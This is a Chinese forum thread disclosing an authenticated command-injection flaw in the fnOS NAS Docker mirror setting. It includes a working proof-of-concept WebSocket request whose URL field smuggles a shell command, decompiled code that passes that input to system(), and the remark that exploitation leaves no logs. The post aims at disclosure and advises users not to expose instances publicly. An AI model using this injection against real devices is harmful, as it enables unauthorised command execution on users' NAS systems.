patrickyoung

@96 你搜搜他们老板原本是哪出来的就知道了。提示: boss 搜他们公司，看高管 title

@deepbytes https://www.synology.com/en-us/releaseNote/DSM 其实 synology 写的很清楚，就是要修最近的 gnu inetutils telnetd 的漏洞

@oppose2336 https://v2ex.com/t/1189392#r_17275646

我比较担心的是前面还有没有验证绕过...或者因为反代配置不当导致的绕过，如果没有那更好。

One more thing, 已中招的用户请考虑停止使用你的实例，一般类似的病毒加了 rootkit 之外都还有其他的持久化措施，我不想花时间再去看他们的东西了，如果数据区有相关感染的话，重装也没用。

本来不太想发 POC 的，但是鉴于官方在 1.15 还是装死，还是公开了。

Disclaimer: 仅供在自搭建的测试实例学习研究使用。

测试 POC：

WebSocket 连接： http://IP:5666/websocket?type=main

请求 Body：

```
cA8dKVgUFNf/5QdKdIa7nEhaup6ObIo6D18J0am+KBQ={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}
```

JSON 前面的内容是 使用浏览器的 localStorage.fnos-Secret 内的值作为 Key 对后面的 JSON 进行 HMAC-SHA256 后的签名。因为这个 Secret 仅在登陆成功后才会设定，因此需要现有一个有效的账户。

payload 放在请求体的 URL 内，成功后会在 /tmp 下创建文件 hacked20260131 。

此漏洞在当前最新版 1.1.15-1493 中仍然存在。

如果这个版本还有问题，那说明前面还有一个 authorization bypass 漏洞（要么是验证不当，要么是 Nginx 反代配置不当）。


-----


这里感谢 @Hantong 的回复：


我能找到的有记录的版本是 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso, 然后拿官方的那个 https://fnnas.com/api/download-sign POST JSON `{"url": "https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso"}` 签个名就行


-----

当前的建议：

- 不要在公网暴露你的实例，使用 Zerotier / Tailscale 加一层保护。
- 如果一定要，可以试试长亭的 雷池 WAF ，但是我没实际验证过效果。

底层的关键代码是这样的：

```
snprintf(
s,
0x2000u,
"touch /run/test-mirror.json && dockerd --registry-mirror %s --validate --config-file /run/test-mirror.json",
(const char *)v10[0]);
if ( system(s) )
{
sub_1012C0(v14, "");
sub_1012C0(v12, "");
```


稍微写过一点 inux C 的人都知道，直接拼接了用户的输入到 system() 导致了命令执行。

官方可能以为前端校验了一下 URL 格式，后端就不用管了，所以造成了问题。

Disclaimer: 仅供在自搭建的测试实例学习研究使用。

问题函数是 appcgi.dockermgr.systemMirrorAdd 和 appcgi.dockermgr.systemMirrorChange

存在在后端的 /usr/trim/bin/dockermgr

是一个 authorized RCE 。

如果论坛的用户没有弱口令，那说明这个系统前面还有一个 Authorization Bypass 。

系统架构是 Nginx 反代了一些 local unix socket (/run/*.socket) 与后端服务通信，几个端口都是到 nginx 的。

很不幸的是，这个过程全程通过 Websocket 通信，在系统本地我快速用我的测试 payload grep 了一下本地的文本格式日志和 systemd journal ，没有找到任何的日志记录。

系统在 /usr/trim/var/eventlogger_service 下面有一个 sqlite3 日志，依然是没有相关的日志。

@Hantong POC 稍后发出

@a9htdkbv @yGin 原始的命令执行的问题在 1.15 还是存在的。